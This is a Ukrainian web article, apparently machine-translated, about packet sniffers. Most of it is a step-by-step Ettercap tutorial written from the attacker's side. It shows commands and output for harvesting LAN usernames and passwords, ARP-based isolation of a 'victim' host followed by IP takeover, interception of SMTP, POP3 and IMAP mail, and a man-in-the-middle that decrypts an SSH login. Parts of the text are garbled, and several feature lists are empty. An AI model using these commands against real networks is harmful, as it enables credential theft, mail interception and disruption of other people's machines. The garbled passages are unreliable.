Мережеві нюхачі, Windows 9x/NT, Security & Hack, статті

Андрій Матвєєв, СофтТерра

Перехоплювачі мережевих пакетів можуть не тільки використовуватисяадміністратором мережі для перевірки і детального аналізу правильностіконфігурації мережевого програмного забезпечення, але і являють собоюсерйозну загрозу, оскільки можуть перехоплювати і розшифровувати іменаі паролі користувачів, конфіденційну інформацію, порушувати роботуокремих комп’ютерів і мережі в цілому. Як боротися з цією недугоюпрограмістської думки ми спробуємо розібратися в наступних статтях зциклу “Linux забезпечує безпеку мережі”.

В даний час апаратна архітектура Ethernet завоювала велику частину ринку при створенні локальних мереж, хоча існують і інші апаратні рішення не на IEEE 802.3, такі як FDDI, Token Ring (802.5), ARCNET, WAN, ATM та інші. Відносна недороговізна в поєднанні з технічною швидкістю передачі даних в 10, 100 і 1000 мегабіт в секунду сприяє її популярності. Мережа Ethernet працює як магістраль, через яку будь-який вузол може пересилати пакети на інший вузол, підключений до того ж сегменту мережі. Для перенаправлення пакетів з однієї мережі в іншу необхідно користуватися репітер, світче або хабом. Процес передачі фреймів забезпечує міжмережевий протокол, який не залежить від устаткування і представляє різні мережі в одну мережу. Але при використанні цього протоколу немає гарантій, що пакет досягне адресата, але вирішення цього завдання забезпечує протокол TCP / IP, займається гарантованою доставкою пакетів. TCP не єдиний протокол в стеку протоколів TCP / IP, існує ще протокол UDP, який багато швидше протоколу TCP, так як не створює і не закриває сеанс з’єднання, а вузол за допомогою його просто відправляє дані в дейтаграмах інших вузлів в мережі. Пакет, який надійшов у широкомовної мережі одним з вузлів, приймається усіма які перебувають в цьому сегменті мережі машинами, але тільки вузол призначення, зазначений у заголовку пакета, “дивиться” на нього і починає його обробку (відноситься і доTCP і до UDP протоколів).

Аналізатори пакетів відносяться до класу інструментальних програмнихкоштів для моніторингу мережного трафіку і виявлення деяких типівмережевих проблем. За замовчуванням мережний інтерфейс бачить пакункипризначені тільки для нього. Однак аналізатори встановлюють його врежим прийому всіх пакетів – promiscuous mode, прослуховують мережу ізмушують мережевий інтерфейс приймати всі фрейми, незалежно відтого, кому вони адресовані в мережі.Для установки “вручну” мережевого інтерфейсу в нерозбірливий режимнеобхідно включити прапор PROMISC: ifconfig eth0 promisc; для відключення
promiscuous mode: ifconfig eth0 –promisc .

Яскравим прикладом інструментального програмного засобу служить програма tcpdump, Написана веном Якобсоном іпоставляється зараз з багатьма дистрибутивами. Приклад використання
tcpdump:
tcpdump –i eth0 –n –vv –w /root/tcpdump.log
де:
-I – мережевий інтерфейс;
-N – робимо числовий висновок адрес і номерів портів;
-Vv – дуже детальний висновок;
-W – запис логу у файл.
Щоб прочитати перехоплений трафік з логу (виводимо не на консоль, а у файл):
tcpdump –r /root/tcpdump.log > /root/tcpdump0.log

Фрагмент роботи tcpdump:
14:06:28.250082 B 192.168.5.17.1445 > 255.255.255.255.8167: udp 21
14:07:24.126187 > midian > 192.168.5.23: icmp: echo request
14:07:24.126667 < 192.168.5.23 > midian: icmp: echo reply

Перший рядок показує, що 192.168.5.17 користується програмою для спілкування в локальній мережі (робить широкомовна запит, використовується порт 8167), друга і третя вказують, що хост midian перевіряє машину з IP-адресою 192.168.5.23 програмою ping.

Винюхівателі пакетів безсумнівно корисні для вирішення адміністратором мережі відомих і невідомих проблем, але існує і зворотна сторона медалі: нерозбірливий режим прийому пакетів дозволяє зловмисникові отримувати весь трафік у мережі і фільтрувати його на наявність імен, паролів користувачів, незашифрованих листів і т.д. Тепер все тільки обмежується фантазією хакера.

Ettercap

Особливості цього сніффер:

Останню версію беремо тут:Встановлюємо сніффер:
./configure
make
make install
Встановлюємо плагіни:
make plug-ins
make plug-ins_install

Деякі опції сніффер:
-A,-s,-m – різні види прослуховування;
-N – запускати сніффер без псевдографіки;
-Z – запуск в спокійному режимі;
-D – не перетворювати IP-адреси в імена;
-I – мережевий інтерфейс;
-L – вивести список хостів у мережі;
-C – збирати всі імена і паролі користувачів;
-F – визначення операційної системи віддаленого хоста;
-P – робота з плагінами;
-L – записувати в лог, має формат: рік … місяць … день-collected-pass.log

Розглянемо деякі види використання цього сніффер.Перехоплюємо всі імена користувачів і паролі в нашому сегменті мережі та записуємо в лог:
ettercap –NdzsCLi eth0
Після недовгого очікування отримуємо необхідне;)
14:43:45 192.168.5.29:1755 <–> 212.48.140.154:80 www
USER: leshii
PASS: softerra
http://www.nm.ru/gateway_chat.shtml
Визначаємо операційну систему хоста, наприклад, з IP-адресою
192.168.5.24:
ettercap – Ndzsfi eth0 192.168.5.24
Дивимося встановлені у нас плагіни і описи до них:
ettercap – N –p list
Для активації плагіна (наприклад, пропінгуем який-небудь хост):
ettercap – N –p ooze 192.168.5.33
Найбільший цікавим на мій погляд плагіном є leech. Він ізолюєвіддалений хост від мережі. Приклад роботи цього плагіна:
Спочатку перевіримо, “живий” чи хост:
andrushock# ping –v –c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
64 bytes from 192.168.5.23: icmp_seq=0 ttl=128 time=0.945 ms
64 bytes from 192.168.5.23: icmp_seq=1 ttl=128 time=0.562 ms
64 bytes from 192.168.5.23: icmp_seq=2 ttl=128 time=0.524 ms
64 bytes from 192.168.5.23: icmp_seq=3 ttl=128 time=0.520 ms

Запускаємо плагін (операційна система хоста жертви – win98se):
andrushock# ettercap –Ndp leech 192.168.5.23
Спостерігаємо за процесом роботи:
Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0
Starting ./ec_leech.so plugin…
Building host list for netmask 255.255.255.0, please wait…
Sending 255 ARP request…
Listening for replies…
Isolating host 192.168.5.23…Press return to stop
Чекаємо пару хвилин і сміливо натискаємо ^ C, потім перевіряємо роботу плагіна:
andrushock# ping –v –c 4 192.168.5.23
PING 192.168.5.23 (192.168.5.23): 56 data bytes
—192.168.5.23 ping statistics—
4 packets transmitted, 0 packet received, 100% packet loss
andrushock#

Все, мережевий інтерфейс на машині жертви на деякий час перестаєпрацювати, хоча операційна система і запущені програмифункціонують в тому ж нормальному режимі. Але цього “деякого”часу вистачає, наприклад, для того, щоб дістати собі IP-адресужертви:
ifconfig eth0 down
ifconfig eth0 inet 192.168.5.23
ifconfig eth0 up
І набираємо команду, щоб упевнитися про наш “новому” IP-адресу:
ifconfig eth0

Перехоплення незашифрованих поштових повідомлень.Вид запису:. / Ettercap-Nzds :
Приклад перехоплення вихідних листів:
./ettercap –Nzds ANY:25 ANY > /root/sniff.smtp
І дивимося через деякий час, що попалося в наші мережі (наводжу частиналогу):
СAT / root / sniff.smtp
Your IP: 192.168.5.21 with MAC: 00:50:BF:4A:48:F3 on Iface: eth0
Press ‘h’ for help…
Sniffing (IP based): ANY:0 <–> ANY:25
18:19:14 192.168.5.23:1030 –> 80.68.244.5:25
18:19:14 80.68.244.5:25 –> 192.168.5.23:1030
Далі йде процес аутентифікації, лист від кого, адреса реципієнта, їхвалідність і сам текст листа.
To: andrushock@fromru.com.
Subject: test.
Mime-Version: 1.0.
Content-Type: text/plain; charset=us-ascii.
Content-Transfer-Encoding: 7bit.
.
Hello andrushock,.
.
Test for Softerra.
.
— .
Best regards,.
Noname mailto: ******@pisem.net.
Далі повідомлення демона про прийняття листа до відправлення та завершенняпоштовим сервером з’єднання.

Для перехоплення входять в локальну мережу електронних листів використовуємо:
./ettercap –Nzds ANY:110 ANY > /root/sniff.pop3
або
./ettercap –Nzds ANY:143 ANY > /root/sniff.imap4

Приклад перехоплення паролів під час сесії SSH:
На одній машині 192.168.5.21 варто ettercap (назвемо зловмисник), надруга 192.168.5.4 sshd (назвемо сервер), а на третьому 192.168.5.22SecureCRT (назвемо клієнт).
. / Ettercap-Ndl – виводимо список всіх айпішнік з МАС-адресами машин всегменті локальної мережі, запам’ятовуємо тільки МАС-адресу сервера та клієнта.Запускаємо сніффер на прослуховування і чекаємо коли клієнт ініціалізуєсеанс Secure Shell з сервером і почнеться процес аутентифікації. У цьомувипадку машина зловмисника є “мостом”, через який будепроходити і розшифровуватися на льоту весь проходить трафік міжклієнтом і сервером.
Вид запису:
. / Ettercap-za
./ettercap –za 192.168.5.4 192.168.5.22 00:50:BF:03:BC:47 00:A0:24:93:61:3D
Наводжу “текстовий скриншот”

ettercap 0.5.4
SOURCE: 192.168.5.22 ? Filter: OFF
doppleganger – illithid (ARP Based) – ettercap
DEST: 192.168.5.4 ? Active Dissector: ON

??? hosts in this LAN (192.168.5.21 : 255.255.255.0)
1) 192.168.5.22:1252 ?? 192.168.5.4:22 | silent | SSH decrypt

Your IP: 192.168.5.21 MAC: 00:50:BF:4A:48:F3 Iface: ed0 Link: not tested
USER: testuser
PASS: softerra

У лівому нижньому кутку споглядаємо вже розшифровані ім’я користувача тайого пароль.Примітка: мережний інтерфейс дійсно ed0, так як програматестувалася в операційних системах Linux і FreeBSD.

Постійно виходять нові версії Ettercap, в яких виправляються помилки(Наприклад, лише кілька версій тому виправили “глюк”, коли післяроботи мережевий інтерфейс, на якому був запущений цей сніффер падав),додаються нові можливості і перенесення на інші операційнісистеми, на відміну від програм описаних нижче, робота над якими вжедавно не ведеться, хоча в даний час на мій погляд ці аналізаторипротоколів є найбільш популярними.

sniffitМожливості цього сніффер:

Примітка: необхідна наявність libpcap

dsniffПримітка: цю версію сніффер я не зміг поставити на Red Hat Linux 7.0,тому довелося качати новішу, Але beta, де як раз виправленапомилка компонування для дистрибутивів Red Hat Linux 6,7.

Можливості цього сніффер:

Є ще одна цікава особливістьцього сніффер. Натрапив я на неї абсолютно випадково …
cat dsniff.8 | grep ‘Dug Song’ > /root/dug.song && man sshd | grep ‘Dug Song’ >>
/root/dug.song && clear && cat /root/dug.song
І ось що вийшло:

Dug Song <dugsong@monkey.org>
Niels Provos, Theo de Raadt, and Dug Song.

Висновки робимо самі …

Примітка: необхідна наявність
Berkeley DB – www.sleepycat.com/
OpenSSL – www.openssl.org/
libpcap – www.tcpdump.org/
libnids – www.packetfactory.net/Projects/Libnids/
libnet – www.packetfactory.net/Projects/Libnet/

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*